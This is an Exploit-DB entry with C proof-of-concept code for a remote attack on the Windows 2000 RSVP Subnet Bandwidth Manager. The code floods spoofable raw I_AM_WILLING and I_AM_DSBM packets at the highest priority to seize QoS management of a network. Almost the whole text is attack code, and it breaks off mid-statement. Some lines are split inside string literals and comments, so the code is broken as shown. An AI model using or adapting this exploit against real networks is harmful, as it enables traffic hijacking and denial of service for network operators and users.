Exploit-DB #81
Description: Microsoft Windows Server 2000 - RSVP Server Authority Hijacking
Type: remote
Platform: windows
Date: 2003-08-15
Author: ste jones

Exploit:
// Microsoft Windows 2000 Subnet Bandwidth Manager RSVP Server Authority Hijacking 
//
// A problem has been identified in the RSVP Server for Microsoft Windows 2000 that 
// may allow an attacker to hijack management of the network. This could allow an 
// attacker control of network Quality of Service.
// 
// By ste jones root at networkpenetration.com
//
// Proof of concept code for attack against RSVP / SBM (RFC 2814)
// compile: gcc rsvp.c -Wall -o RSVP_DoS
// Allows spoofing of source IP with -s
// Tested on linux against win2k server
// You will need to be root to launch the attack as we are using raw sockets

/* RSVP
 * Resource ReserVation Protocol Munger
 *
 * multicast IP 224.0.0.17
 * IP protocol number 0x2e for RSVP
 *
 * RSVP Header
 * Version = 4bits
 * flags = 4 bits
 * message type = 8 bits = 67 = I_AM_DSBM
 * RSVP checksum = 16 bits = set to 0's
 * TTL = 8 bits = 1 on multicast
 * Reserved = 8 bits
 * RSVP length = 16 bits
 * + data
 *
 * Data header
 * Length = 16 bits
 * Class = 8 bits
 * type = 8 bits
 * Obj contents
 */

/*
 *Proof of concept - doesnt check if RSVP priority of server assumes lower
 */
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>
#include <getopt.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>
#include <arpa/inet.h>

void usage(char *progname);
void startattack(void);
unsigned short in_chksum(unsigned short *pts, int nbytes);

struct rsvphead{
	int flags:4;
	int version:4;
	char type:8;
	int checksum:16;
	char ttl:8;
	char reserved:8;
	int length:16;
};

struct rsvpdata{
	char buf[40];
};


struct header{
	struct iphdr ip;
	struct rsvphead rhead;
	struct rsvpdata rdata;
};

struct in_addr spoofed;

int main(int argc, char *argv[])
{

	int c;
	printf("RSVP Munger by Ste Jones from NetworkPenetration\n");
	printf("----------------------------------------------------\n");
	opterr = 0; //stop error messages from command line
	while ((c=getopt(argc, argv, "s:")) != -1){
		switch(c){
			case 's':	if(!inet_aton(optarg, &spoofed)){
						printf("Malformed IP
address: %s\n",optarg);
						exit(1);
					}
					break;

			default:	usage(argv[0]);
					exit(1);
					break;
		}
	}
	for(;;){
	startattack();
	}
	exit(0);
}

void startattack(void)
{
	struct header heada;
	struct sockaddr_in sin;
	int sock;
	int on;
	int sinlen;
	int willing;
	unsigned char *sourceip;
	on = 1;
	willing = 4; //send willing four times then I_AM_DBSM
	printf("\nSending %d I_AM_WILLING packets followed by I_AM_DSBM
packets every 5 seconds\n\n", willing);
	for(;;){

		memset(&heada, '\0', sizeof(heada));
		if(willing) printf("Creating I_AM_WILLING packet\n");
		else printf("Creating I_AM_DSBM packet\n");

		heada.ip.ihl = 5;
		heada.ip.version = 4;
		heada.ip.tos = 0xc0; //same options as set by Microsoft
RSVP
		if(willing) heada.ip.tot_len = htons(56);
		else heada.ip.tot_len = htons(64);
		heada.ip.id = 0x0000; //checksum calculate later
		heada.ip.frag_off = 0;
		heada.ip.ttl = 1; //multicast uses ttl of 1
		heada.ip.protocol = 0x2e; //RSVP protocol number
		heada.ip.check = 0;
		if(spoofed.s_addr){
			heada.ip.saddr = spoofed.s_addr;
		}
		else heada.ip.saddr = 0; //let kernel decide
		heada.ip.daddr = inet_addr("224.0.0.17");

		sourceip = (unsigned char *)&heada.ip.saddr;

		heada.rhead.flags   = 0;
		heada.rhead.version = 1;
		if(willing) heada.rhead.type    = 0x42; //I_AM_WILLING
		else heada.rhead.type    = 0x43; //I_AM_DSBM

		heada.rhead.checksum= 0x0000; //checksum calculated later
		heada.rhead.ttl     = 0x01;
		heada.rhead.reserved= 0x00;
		if(willing) heada.rhead.length = 0x2400;
		else heada.rhead.length  = 0x2c00;

		heada.rdata.buf[0]  = 0x00;//length
		heada.rdata.buf[1]  = 0x08;//length
		heada.rdata.buf[2]  = 0x2a;//0x2a01 = DSBM IP ADDR
		heada.rdata.buf[3]  = 0x01;
		heada.rdata.buf[4]  = sourceip[0];//IP address
		heada.rdata.buf[5]  = sourceip[1];//if not spoofed DSBM IP
ADDR = 0
		heada.rdata.buf[6]  = sourceip[2];//
		heada.rdata.buf[7]  = sourceip[3];//

		heada.rdata.buf[8]  = 0x00;//length
		heada.rdata.buf[9]  = 0x0c;//length
		heada.rdata.buf[10]  = 0xa1;//0a101 = RSVP_HOP_L2, IEEE
canonical addr
		heada.rdata.buf[11]  = 0x01;
		heada.rdata.buf[12]  = 0x00; //mac addr
		heada.rdata.buf[13]  = 0x11; //
		heada.rdata.buf[14]  = 0x22; //
		heada.rdata.buf[15]  = 0x33; //
		heada.rdata.buf[16]  = 0x44; //
		heada.rdata.buf[17]  = 0x55; //
		heada.rdata.buf[18]  = 0x00; //
		heada.rdata.buf[19]  = 0x00; //

		heada.rdata.buf[20]  = 0x00; //length
		heada.rdata.buf[21]  = 0x08; //length
		heada.rdata.buf[22]  = 0x2b; // 0x2b01 = SMB_Priority
		heada.rdata.buf[23]  = 0x01; //
		heada.rdata.buf[24]  = 0x00; //priority
		heada.rdata.buf[25]  = 0x00; //priority
		heada.rdata.buf[26]  = 0x00; //priority
		if(!willing)heada.rdata.buf[27]  = 0xff; //priority 255
		else heada.rdata.buf[27] = 0xff; //priority
		//priority = 255
		//highest possible priority
		//if server has lower priority vulernable to DoS

		if(!willing){
			heada.rdata.buf[28]  = 0x00; //length
			heada.rdata.buf[29]  = 0x08; //length
			heada.rdata.buf[30]  = 0x2c; //0x2c01 = DSBM timer
intervals
			heada.rdata.buf[31]  = 0x01;
			heada.rdata.buf[32]  = 0x00; //retransmit time
			heada.rdata.buf[33]  = 0x00; //
			heada.rdata.buf[34]  = 0x0f; //0x0f?
			heada.rdata.buf[35]  = 0x05; //time 5 seconds
		}

		heada.ip.check = in_chksum((unsigned short *)&heada.ip,
20);

		sin.sin_family = AF_INET;
		sin.sin_port = htons(0);
		sin.sin_addr.s_addr = inet_addr("224.0.0.17");

		if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
			printf("Socket error %s\n",strerror(errno));
			exit(1);
		}

		if((setsockopt(sock,IPPROTO_IP, IP_HDRINCL, &on, sizeof
(on))) < 0){
			pri